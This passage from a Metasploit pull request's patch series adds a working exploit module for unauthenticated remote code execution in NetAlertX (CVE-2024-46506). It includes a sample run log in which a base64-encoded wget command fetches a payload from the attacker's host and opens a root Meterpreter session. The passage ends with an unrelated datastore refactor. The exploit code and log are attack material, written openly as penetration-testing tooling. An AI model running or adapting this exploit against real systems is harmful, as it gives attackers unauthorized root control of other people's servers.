LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 24.9.12 detected. +[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9tR1Brb3hyUk9WIGh0dHA6Ly8xOTIuMTY4LjU2LjE6ODA4MC9HLThmOG5rb0gwZFRaR1BzTnZTMjNnO2NobW9kICt4IC4vbUdQa294clJPVjsuL21HUGtveHJST1Ymc2xlZXAgNDtybSAtcmYgLi9tR1Brb3hyUk9W|base64${IFS}-d|/bin/bash'. +[*] Waiting settings really updated... +[*] Sending stage (3045380 bytes) to 192.168.56.17 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:42572) at 2025-02-08 13:42:04 +0900 +[*] Added the payload to the queue. Waiting for the payload to run... +[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.56.17 +OS : (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb new file mode 100644 index 0000000000..74f06c8d41 --- /dev/null +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Retry + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Unauthenticated RCE in NetAlertx', + 'Description' => %q{ + An attacker can update NetAlertx settings with no authentication, which results in RCE. + }, + 'Author' => [ + 'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-46506'], + ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'], + # ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?) + ], + 'DefaultOptions' => { + 'FETCH_DELETE' => true, + 'WfsDelay' => 75 + }, + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'WGET' + } + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-01-30', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + + register_options( + [ + Opt::RPORT(20211), + OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]), + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'maintenance.php') + }) + return Exploit::CheckCode::Unknown unless res&.code == 200 + + version = Rex::Version.new(res&.get_html_document&.xpath('//div[text()="Installed version"]//following-sibling::*')&.text&.strip&.sub(/^v/, '')) + return Exploit::CheckCode::Unknown('Failed to detect version.') unless version + + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) + + Exploit::CheckCode::Appears("Version #{version} detected.") + end + + def exploit + # Command is splitted by the space, and processed by the below Python code + # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT)) + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206 + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214 + cmd = "/bin/bash -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/bash" + update_settings(cmd, '*') + # Not updated immediately + print_status('Waiting settings really updated...') + retry_until_truthy(timeout: datastore['WAIT']) do + check_settings(cmd) + end + add_to_execution_queue + end + + def update_settings(cmd, sche) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), + 'vars_post' => { + 'function' => 'savesettings', + 'settings' => [ + ['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'], + ['DBCLNP', 'DBCLNP_CMD', 'string', cmd], + ['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"], + ].to_json + } + }) + fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200 + print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.") + end + + def add_to_execution_queue + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), + 'vars_post' => { + 'function' => 'addToExecutionQueue', + 'action' => "#{Rex::Text.rand_text_alphanumeric(8)}-"\ + "#{Rex::Text.rand_text_alphanumeric(4)}-"\ + "#{Rex::Text.rand_text_alphanumeric(4)}-"\ + "#{Rex::Text.rand_text_alphanumeric(4)}-"\ + "#{Rex::Text.rand_text_alphanumeric(12)}|run|DBCLNP" + } + }) + fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200 + print_status('Added the payload to the queue. Waiting for the payload to run...') + end + + def check_settings(cmd) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/table_settings.json') + }) + return unless res&.code == 200 + + res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd } + end + + def cleanup + super + + # Default settings, cannot change (normally). + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 + update_settings( + 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', + '*/30' + ) + end +end From 4f584bd5a436ca61b04f581de0ed7059b98850bb Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Sat, 8 Feb 2025 17:35:55 +0900 Subject: [PATCH 22/37] Use cron restart --- .../linux/http/netalertx_rce_cve_2024_46506.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index 74f06c8d41..c2b3d525d5 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { 'FETCH_DELETE' => true, - 'WfsDelay' => 75 + 'WfsDelay' => 150 }, 'Platform' => %w[linux], 'Targets' => [ @@ -88,7 +88,9 @@ class MetasploitModule < Msf::Exploit::Remote retry_until_truthy(timeout: datastore['WAIT']) do check_settings(cmd) end - add_to_execution_queue + add_to_execution_queue('run|DBCLNP') + add_to_execution_queue('cron_restart_backend') + print_status('Added the payload to the queue. Waiting for the payload to run...') end def update_settings(cmd, sche) @@ -108,7 +110,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.") end - def add_to_execution_queue + def add_to_execution_queue(cmd) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), @@ -118,11 +120,10 @@ class MetasploitModule < Msf::Exploit::Remote "#{Rex::Text.rand_text_alphanumeric(4)}-"\ "#{Rex::Text.rand_text_alphanumeric(4)}-"\ "#{Rex::Text.rand_text_alphanumeric(4)}-"\ - "#{Rex::Text.rand_text_alphanumeric(12)}|run|DBCLNP" + "#{Rex::Text.rand_text_alphanumeric(12)}|#{cmd}" } }) fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200 - print_status('Added the payload to the queue. Waiting for the payload to run...') end def check_settings(cmd) From 8e9c144e2c5650a5b2fcde13ea01c2c3098fc20a Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Sun, 9 Feb 2025 13:47:00 +0000 Subject: [PATCH 23/37] Consolidate datastore with fallbacks logic --- .../How-to-use-datastore-options.md | 3 +- lib/msf/base/serializer/readable_text.rb | 2 +- lib/msf/core/data_store.rb | 389 +++++++++---- lib/msf/core/data_store_with_fallbacks.rb | 547 ------------------ lib/msf/core/feature_manager.rb | 8 - lib/msf/core/module.rb | 2 +- lib/msf/core/module/data_store.rb | 4 +- lib/msf/core/module/options.rb | 2 +- lib/msf/core/module_data_store.rb | 113 ++-- .../core/module_data_store_with_fallbacks.rb | 80 --- .../external/templates/multi_scanner.erb | 2 +- .../templates/single_host_login_scanner.erb | 2 +- .../external/templates/single_scanner.erb | 2 +- lib/msf/core/option_group.rb | 2 +- lib/msf/core/payload.rb | 2 +- lib/msf/core/rhosts_walker.rb | 4 +- lib/msf/core/rpc/v10/rpc_core.rb | 2 +- lib/msf/ui/console/command_dispatcher/core.rb | 85 +-- lib/msf/ui/console/driver.rb | 4 - .../console/module_option_tab_completion.rb | 4 +- .../command_dispatcher/lanattacks/dhcp.rb | 2 +- .../core/data_store_with_fallbacks_spec.rb | 6 +- spec/lib/msf/core/option_group_spec.rb | 2 +- .../auxiliary/scanner/ssh/ssh_login_spec.rb | 2 +- spec/spec_helper.rb | 6 - .../examples/msf/core/optional_session.rb | 2 +- .../shared/examples/msf/module/data_store.rb | 2 +- 27 files changed, 382 insertions(+), 899 deletions(-) delete mode 100644 lib/msf/core/data_store_with_fallbacks.rb delete mode 100644 lib/msf/core/module_data_store_with_fallbacks.rb diff --git a/docs/metasploit-framework.wiki/How-to-use-datastore-options.md b/docs/metasploit-framework.wiki/How-to-use-datastore-options.md index e76a70d52c..618b301ae8 100644 --- a/docs/metasploit-framework.wiki/How-to-use-datastore-options.md +++ b/docs/metasploit-framework.wiki/How-to-use-datastore-options.md @@ -86,8 +86,7 @@ OptSomething.new(option_name, [boolean, description, value, *enums*], aliases: * options](#Filtering-datastore-options) section for more information. * **fallbacks** *optional*, *key-word only* An array of names that will be used as a fallback if the main option name is defined by the user. This is useful in the scenario of wanting specialised option names such as `SMBUser`, but to also - support gracefully checking a list of more generic fallbacks option names such as `Username`. This functionality is - currently behind a feature flag, set with `features set datastore_fallbacks true` in msfconsole + support gracefully checking a list of more generic fallbacks option names such as `Username`. Now let's talk about what classes are available: diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index c3710f7156..9d49ecdd60 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -623,7 +623,7 @@ class ReadableText ) options.sort_by(&:name).each do |opt| name = opt.name - if mod.datastore.is_a?(Msf::DataStoreWithFallbacks) + if mod.datastore.is_a?(Msf::DataStore) val = mod.datastore[name] else val = mod.datastore[name].nil? ? opt.default : mod.datastore[name] diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index ca9c6c022d..d7bac00ac3 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -3,40 +3,61 @@ module Msf ### # -# The data store is just a bitbucket that holds keyed values. It is used +# The data store is just a bitbucket that holds keyed values. It is used # by various classes to hold option values and other state information. # ### -class DataStore < Hash +class DataStore - # Temporary forking logic for conditionally using the {Msf::ModuleDatastoreWithFallbacks} implementation. + # The global framework datastore doesn't currently import options + # For now, store an ad-hoc list of keys that the shell handles # - # This method replaces the default `ModuleDataStore.new` with the ability to instantiate the `ModuleDataStoreWithFallbacks` - # class instead, if the feature is enabled - def self.new - if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) - return Msf::DataStoreWithFallbacks.new - end - - instance = allocate - instance.send(:initialize) - instance - end + # This list could be removed if framework's bootup sequence registers + # these as datastore options + GLOBAL_KEYS = %w[ + ConsoleLogging + LogLevel + MinimumRank + SessionLogging + TimestampOutput + Prompt + PromptChar + PromptTimeFormat + MeterpreterPrompt + SessionTlvLogging + ] # # Initializes the data store's internal state. # - def initialize() + def initialize @options = Hash.new @aliases = Hash.new - @imported = Hash.new - @imported_by = Hash.new + + # default values which will be referenced when not defined by the user + @defaults = Hash.new + + # values explicitly defined, which take precedence over default values + @user_defined = Hash.new end + # @return [Hash{String => Msf::OptBase}] The options associated with this datastore. Used for validating values/defaults/etc attr_accessor :options - attr_accessor :aliases - attr_accessor :imported - attr_accessor :imported_by + + # + # Returns a hash of user-defined datastore values. The returned hash does + # not include default option values. + # + # @return [Hash] values explicitly defined on the data store which will override any default datastore values + attr_accessor :user_defined + + # + # Was this entry actually set or just using its default + # + # @return [TrueClass, FalseClass] + def default?(key) + search_for(key).default? + end # # Clears the imported flag for the supplied key since it's being set @@ -44,8 +65,6 @@ class DataStore < Hash # def []=(k, v) k = find_key_case(k) - @imported[k] = false - @imported_by[k] = nil opt = @options[k] unless opt.nil? @@ -57,49 +76,76 @@ class DataStore < Hash end end - super(k,v) + @user_defined[k] = v end # # Case-insensitive wrapper around hash lookup # def [](k) - super(find_key_case(k)) + search_result = search_for(k) + + search_result.value end # - # Case-insensitive wrapper around store + # Case-insensitive wrapper around store; Skips option validation entirely # def store(k,v) - super(find_key_case(k), v) + @user_defined[find_key_case(k)] = v end - # - # Case-insensitive wrapper around delete - # - def delete(k) - @aliases.delete_if { |_, v| v.casecmp(k) == 0 } - super(find_key_case(k)) - end - - # # Updates a value in the datastore with the specified name, k, to the - # specified value, v. This update does not alter the imported status of - # the value. + # specified value, v. Skips option validation entirely. # def update_value(k, v) - self.store(k, v) + store(k, v) + end + + # + # unset the current key from the datastore + # @param [String] key The key to search for + def unset(key) + k = find_key_case(key) + search_result = search_for(k) + @user_defined.delete(k) + + search_result.value + end + + # @deprecated use #{unset} instead, or set the value explicitly to nil + # @param [String] key The key to search for + def delete(key) + unset(key) + end + + # + # Removes an option and any associated value + # + # @param [String] name the option name + # @return [nil] + def remove_option(name) + k = find_key_case(name) + @user_defined.delete(k) + @aliases.delete_if { |_, v| v.casecmp?(k) } + @options.delete_if { |option_name, _v| option_name.casecmp?(k) || option_name.casecmp?(name) } + + nil end # # This method is a helper method that imports the default value for # all of the supplied options # - def import_options(options, imported_by = nil, overwrite = false) - options.each_option do |name, opt| - if self[name].nil? || overwrite - import_option(name, opt.default, true, imported_by, opt) + def import_options(options, imported_by = nil, overwrite = true) + options.each_option do |name, option| + if self.options[name].nil? || overwrite + key = name + option.aliases.each do |a| + @aliases[a.downcase] = key.downcase + end + @options[key] = option end end end @@ -142,22 +188,32 @@ class DataStore < Hash hash[var] = val } - import_options_from_hash(hash) + merge!(hash) end # - # Imports options from a hash and stores them in the datastore. + # Imports values from a hash and stores them in the datastore. # + # @deprecated use {#merge!} instead + # @return [nil] def import_options_from_hash(option_hash, imported = true, imported_by = nil) - option_hash.each_pair { |key, val| - import_option(key, val, imported, imported_by) - } + merge!(option_hash) + end + + # Update defaults from a hash. These merged values are not validated by default. + # + # @param [Hash] hash The default values that should be used by the datastore + # @param [Object] imported_by Who imported the defaults, not currently used + # @return [nil] + def import_defaults_from_hash(hash, imported_by:) + @defaults.merge!(hash) end # TODO: Doesn't normalize data in the same vein as: # https://github.com/rapid7/metasploit-framework/pull/6644 + # @deprecated Use {#import_options} def import_option(key, val, imported = true, imported_by = nil, option = nil) - self.store(key, val) + store(key, val) if option option.aliases.each do |a| @@ -165,10 +221,32 @@ class DataStore < Hash end end @options[key] = option - @imported[key] = imported - @imported_by[key] = imported_by end + # @return [Array] The array of user defined datastore values, and registered option names + def keys + (@user_defined.keys + @options.keys).uniq(&:downcase) + end + + # @return [Integer] The length of the registered keys + def length + keys.length + end + + alias count length + alias size length + + # @param [String] key + # @return [TrueClass, FalseClass] True if the key is present in the user defined values, or within registered options. False otherwise. + def key?(key) + matching_key = find_key_case(key) + keys.include?(matching_key) + end + + alias has_key? key? + alias include? key? + alias member? key? + # # Serializes the options in the datastore to a string. # @@ -179,7 +257,7 @@ class DataStore < Hash str << "#{key}=#{self[key]}" + ((str.length) ? delim : '') } - return str + str end # Override Hash's to_h method so we can include the original case of each key @@ -225,7 +303,7 @@ class DataStore < Hash ini.add_group(name) # Save all user-defined options to the file. - user_defined.each_pair { |k, v| + @user_defined.each_pair { |k, v| ini[name][k] = v } @@ -243,73 +321,73 @@ class DataStore < Hash return end - if (ini.group?(name)) - import_options_from_hash(ini[name], false) + if ini.group?(name) + merge!(ini[name]) end end # - # Return a deep copy of this datastore. - # + # Return a copy of this datastore. Only string values will be duplicated, other values + # will share the same reference + # @return [Msf::DataStore] a new datastore instance def copy - ds = self.class.new - self.keys.each do |k| - ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k]) - end - ds.aliases = self.aliases.dup - ds + new_instance = self.class.new + new_instance.copy_state(self) + new_instance end # - # Override merge! so that we merge the aliases and imported hashes + # Merge the other object into the current datastore's aliases and imported hashes # + # @param [Msf::Datastore, Hash] other def merge!(other) - if other.is_a? DataStore + if other.is_a?(DataStore) self.aliases.merge!(other.aliases) - self.imported.merge!(other.imported) - self.imported_by.merge!(other.imported_by) + self.options.merge!(other.options) + self.defaults.merge!(other.defaults) + other.user_defined.each do |k, v| + @user_defined[find_key_case(k)] = v + end + else + other.each do |k, v| + self.store(k, v) + end end - # call super last so that we return a reference to ourselves - super + + self + end + + alias update merge! + + # + # Reverse Merge the other object into the current datastore's aliases and imported hashes + # Equivalent to ActiveSupport's reverse_merge! functionality. + # + # @param [Msf::Datastore] other + def reverse_merge!(other) + raise ArgumentError, "invalid error type #{other.class}, expected ::Msf::DataStore" unless other.is_a?(Msf::DataStore) + + copy_state(other.merge(self)) end # # Override merge to ensure we merge the aliases and imported hashes # + # @param [Msf::Datastore,Hash] other def merge(other) ds = self.copy ds.merge!(other) end # - # Returns a hash of user-defined datastore values. The returned hash does - # not include default option values. - # - def user_defined - reject { |k, v| - @imported[k] == true - } - end - - # - # Remove all imported options from the data store. - # - def clear_non_user_defined - @imported.delete_if { |k, v| - if (v and @imported_by[k] != 'self') - self.delete(k) - @imported_by.delete(k) - end - - v - } - end - - # - # Completely clear all values in the hash + # Completely clear all values in the data store # def clear - self.keys.each {|k| self.delete(k) } + self.options.clear + self.aliases.clear + self.defaults.clear + self.user_defined.clear + self end @@ -325,28 +403,145 @@ class DataStore < Hash list.each(&block) end + alias each_pair each + + def each_key(&block) + self.keys.each(&block) + end + # # Case-insensitive key lookup # + # @return [String] def find_key_case(k) - # Scan each alias looking for a key search_k = k.downcase if self.aliases.has_key?(search_k) search_k = self.aliases[search_k] end + # Check to see if we have an exact key match - otherwise we'll have to search manually to check case sensitivity + if @user_defined.key?(search_k) || options.key?(search_k) + return search_k + end + # Scan each key looking for a match - self.each_key do |rk| + each_key do |rk| if rk.casecmp(search_k) == 0 return rk end end # Fall through to the non-existent value - return k + k end + # Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc. + # + # @param [String] key The key to search for + # @return [DataStoreSearchResult] + def search_for(key) + k = find_key_case(key) + return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k) + + option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last } + if option + # If the key isn't present - check any additional fallbacks that have been registered with the option. + # i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more + # generic 'Username' fallback + option.fallbacks.each do |fallback| + fallback_search = search_for(fallback) + if fallback_search.found? + return search_result(:option_fallback, fallback_search.value, fallback_key: fallback) + end + end + end + + # Checking for imported default values, ignoring case again + imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) } + return search_result(:imported_default, imported_default_match.last) if imported_default_match + return search_result(:option_default, option.default) if option + + search_result(:not_found, nil) + end + + protected + + # These defaults will be used if the user has not explicitly defined a specific datastore value. + # These will be checked as a priority to any options that also provide defaults. + # + # @return [Hash{String => Msf::OptBase}] The hash of default values + attr_accessor :defaults + + # @return [Hash{String => String}] The key is the old option name, the value is the new option name + attr_accessor :aliases + + # + # Copy the state from the other Msf::DataStore. The state will be coped in a shallow fashion, other than + # imported and user_defined strings. + # + # @param [Msf::DataStore] other The other datastore to copy state from + # @return [Msf::DataStore] the current datastore instance + def copy_state(other) + self.options = other.options.dup + self.aliases = other.aliases.dup + self.defaults = other.defaults.transform_values { |value| value.kind_of?(String) ? value.dup : value } + self.user_defined = other.user_defined.transform_values { |value| value.kind_of?(String) ? value.dup : value } + + self + end + + # Raised when the specified key is not found + # @param [string] key + def key_error_for(key) + ::KeyError.new "key not found: #{key.inspect}" + end + + # + # Simple dataclass for storing the result of a datastore search + # + class DataStoreSearchResult + # @return [String, nil] the key associated with the fallback value + attr_reader :fallback_key + + # @return [object, nil] The value if found + attr_reader :value + + def initialize(result, value, namespace: nil, fallback_key: nil) + @namespace = namespace + @result = result + @value = value + @fallback_key = fallback_key + end + + def default? + result == :imported_default || result == :option_default || !found? + end + + def found? + result != :not_found + end + + def fallback? + result == :option_fallback + end + + def global? + namespace == :global_data_store && found? + end + + protected + + # @return [Symbol] namespace Where the search result was found, i.e. a module datastore or global datastore + attr_reader :namespace + + # @return [Symbol] result is one of `user_defined`, `not_found`, `option_fallback`, `option_default`, `imported_default` + attr_reader :result + end + + def search_result(result, value, fallback_key: nil) + DataStoreSearchResult.new(result, value, namespace: :global_data_store, fallback_key: fallback_key) + end end end diff --git a/lib/msf/core/data_store_with_fallbacks.rb b/lib/msf/core/data_store_with_fallbacks.rb deleted file mode 100644 index 7d6d372a72..0000000000 --- a/lib/msf/core/data_store_with_fallbacks.rb +++ /dev/null @@ -1,547 +0,0 @@ -# -*- coding: binary -*- -module Msf - -### -# -# The data store is just a bitbucket that holds keyed values. It is used -# by various classes to hold option values and other state information. -# -### -class DataStoreWithFallbacks - - # The global framework datastore doesn't currently import options - # For now, store an ad-hoc list of keys that the shell handles - # - # This list could be removed if framework's bootup sequence registers - # these as datastore options - GLOBAL_KEYS = %w[ - ConsoleLogging - LogLevel - MinimumRank - SessionLogging - TimestampOutput - Prompt - PromptChar - PromptTimeFormat - MeterpreterPrompt - SessionTlvLogging - ] - - # - # Initializes the data store's internal state. - # - def initialize - @options = Hash.new - @aliases = Hash.new - - # default values which will be referenced when not defined by the user - @defaults = Hash.new - - # values explicitly defined, which take precedence over default values - @user_defined = Hash.new - end - - # @return [Hash{String => Msf::OptBase}] The options associated with this datastore. Used for validating values/defaults/etc - attr_accessor :options - - # - # Returns a hash of user-defined datastore values. The returned hash does - # not include default option values. - # - # @return [Hash] values explicitly defined on the data store which will override any default datastore values - attr_accessor :user_defined - - # - # Was this entry actually set or just using its default - # - # @return [TrueClass, FalseClass] - def default?(key) - search_for(key).default? - end - - # - # Clears the imported flag for the supplied key since it's being set - # directly. - # - def []=(k, v) - k = find_key_case(k) - - opt = @options[k] - unless opt.nil? - if opt.validate_on_assignment? - unless opt.valid?(v, check_empty: false) - raise Msf::OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'"]) - end - v = opt.normalize(v) - end - end - - @user_defined[k] = v - end - - # - # Case-insensitive wrapper around hash lookup - # - def [](k) - search_result = search_for(k) - - search_result.value - end - - # - # Case-insensitive wrapper around store; Skips option validation entirely - # - def store(k,v) - @user_defined[find_key_case(k)] = v - end - - # - # Updates a value in the datastore with the specified name, k, to the - # specified value, v. Skips option validation entirely. - # - def update_value(k, v) - store(k, v) - end - - # - # unset the current key from the datastore - # @param [String] key The key to search for - def unset(key) - k = find_key_case(key) - search_result = search_for(k) - @user_defined.delete(k) - - search_result.value - end - - # @deprecated use #{unset} instead, or set the value explicitly to nil - # @param [String] key The key to search for - def delete(key) - unset(key) - end - - # - # Removes an option and any associated value - # - # @param [String] name the option name - # @return [nil] - def remove_option(name) - k = find_key_case(name) - @user_defined.delete(k) - @aliases.delete_if { |_, v| v.casecmp?(k) } - @options.delete_if { |option_name, _v| option_name.casecmp?(k) || option_name.casecmp?(name) } - - nil - end - - # - # This method is a helper method that imports the default value for - # all of the supplied options - # - def import_options(options, imported_by = nil, overwrite = true) - options.each_option do |name, option| - if self.options[name].nil? || overwrite - key = name - option.aliases.each do |a| - @aliases[a.downcase] = key.downcase - end - @options[key] = option - end - end - end - - # - # Imports option values from a whitespace separated string in - # VAR=VAL format. - # - def import_options_from_s(option_str, delim = nil) - hash = {} - - # Figure out the delimiter, default to space. - if (delim.nil?) - delim = /\s/ - - if (option_str.split('=').length <= 2 or option_str.index(',') != nil) - delim = ',' - end - end - - # Split on the delimiter - option_str.split(delim).each { |opt| - var, val = opt.split('=', 2) - - next if (var =~ /^\s+$/) - - - # Invalid parse? Raise an exception and let those bastards know. - if (var == nil or val == nil) - var = "unknown" if (!var) - - raise Rex::ArgumentParseError, "Invalid option specified: #{var}", - caller - end - - # Remove trailing whitespaces from the value - val.gsub!(/\s+$/, '') - - # Store the value - hash[var] = val - } - - merge!(hash) - end - - # - # Imports values from a hash and stores them in the datastore. - # - # @deprecated use {#merge!} instead - # @return [nil] - def import_options_from_hash(option_hash, imported = true, imported_by = nil) - merge!(option_hash) - end - - # Update defaults from a hash. These merged values are not validated by default. - # - # @param [Hash] hash The default values that should be used by the datastore - # @param [Object] imported_by Who imported the defaults, not currently used - # @return [nil] - def import_defaults_from_hash(hash, imported_by:) - @defaults.merge!(hash) - end - - # TODO: Doesn't normalize data in the same vein as: - # https://github.com/rapid7/metasploit-framework/pull/6644 - # @deprecated Use {#import_options} - def import_option(key, val, imported = true, imported_by = nil, option = nil) - store(key, val) - - if option - option.aliases.each do |a| - @aliases[a.downcase] = key.downcase - end - end - @options[key] = option - end - - # @return [Array] The array of user defined datastore values, and registered option names - def keys - (@user_defined.keys + @options.keys).uniq(&:downcase) - end - - # @return [Integer] The length of the registered keys - def length - keys.length - end - - alias count length - alias size length - - # @param [String] key - # @return [TrueClass, FalseClass] True if the key is present in the user defined values, or within registered options. False otherwise. - def key?(key) - matching_key = find_key_case(key) - keys.include?(matching_key) - end - - alias has_key? key? - alias include? key? - alias member? key? - - # - # Serializes the options in the datastore to a string. - # - def to_s(delim = ' ') - str = '' - - keys.sort.each { |key| - str << "#{key}=#{self[key]}" + ((str.length) ? delim : '') - } - - str - end - - # Override Hash's to_h method so we can include the original case of each key - # (failing to do this breaks a number of places in framework and pro that use - # serialized datastores) - def to_h - datastore_hash = {} - self.keys.each do |k| - datastore_hash[k.to_s] = self[k].to_s - end - datastore_hash - end - - # Hack on a hack for the external modules - def to_external_message_h - datastore_hash = {} - - array_nester = ->(arr) do - if arr.first.is_a? Array - arr.map &array_nester - else - arr.map { |item| item.to_s.dup.force_encoding('UTF-8') } - end - end - - self.keys.each do |k| - # TODO arbitrary depth - if self[k].is_a? Array - datastore_hash[k.to_s.dup.force_encoding('UTF-8')] = array_nester.call(self[k]) - else - datastore_hash[k.to_s.dup.force_encoding('UTF-8')] = self[k].to_s.dup.force_encoding('UTF-8') - end - end - datastore_hash - end - - # - # Persists the contents of the data store to a file - # - def to_file(path, name = 'global') - ini = Rex::Parser::Ini.new(path) - - ini.add_group(name) - - # Save all user-defined options to the file. - @user_defined.each_pair { |k, v| - ini[name][k] = v - } - - ini.to_file(path) - end - - # - # Imports datastore values from the specified file path using the supplied - # name - # - def from_file(path, name = 'global') - begin - ini = Rex::Parser::Ini.from_file(path) - rescue - return - end - - if ini.group?(name) - merge!(ini[name]) - end - end - - # - # Return a copy of this datastore. Only string values will be duplicated, other values - # will share the same reference - # @return [Msf::DataStore] a new datastore instance - def copy - new_instance = self.class.new - new_instance.copy_state(self) - new_instance - end - - # - # Merge the other object into the current datastore's aliases and imported hashes - # - # @param [Msf::Datastore, Hash] other - def merge!(other) - if other.is_a?(DataStoreWithFallbacks) - self.aliases.merge!(other.aliases) - self.options.merge!(other.options) - self.defaults.merge!(other.defaults) - other.user_defined.each do |k, v| - @user_defined[find_key_case(k)] = v - end - else - other.each do |k, v| - self.store(k, v) - end - end - - self - end - - alias update merge! - - # - # Reverse Merge the other object into the current datastore's aliases and imported hashes - # Equivalent to ActiveSupport's reverse_merge! functionality. - # - # @param [Msf::Datastore] other - def reverse_merge!(other) - raise ArgumentError, "invalid error type #{other.class}, expected ::Msf::DataStore" unless other.is_a?(Msf::DataStoreWithFallbacks) - - copy_state(other.merge(self)) - end - - # - # Override merge to ensure we merge the aliases and imported hashes - # - # @param [Msf::Datastore,Hash] other - def merge(other) - ds = self.copy - ds.merge!(other) - end - - # - # Completely clear all values in the data store - # - def clear - self.options.clear - self.aliases.clear - self.defaults.clear - self.user_defined.clear - - self - end - - # - # Overrides the builtin 'each' operator to avoid the following exception on Ruby 1.9.2+ - # "can't add a new key into hash during iteration" - # - def each(&block) - list = [] - self.keys.sort.each do |sidx| - list << [sidx, self[sidx]] - end - list.each(&block) - end - - alias each_pair each - - def each_key(&block) - self.keys.each(&block) - end - - # - # Case-insensitive key lookup - # - # @return [String] - def find_key_case(k) - # Scan each alias looking for a key - search_k = k.downcase - if 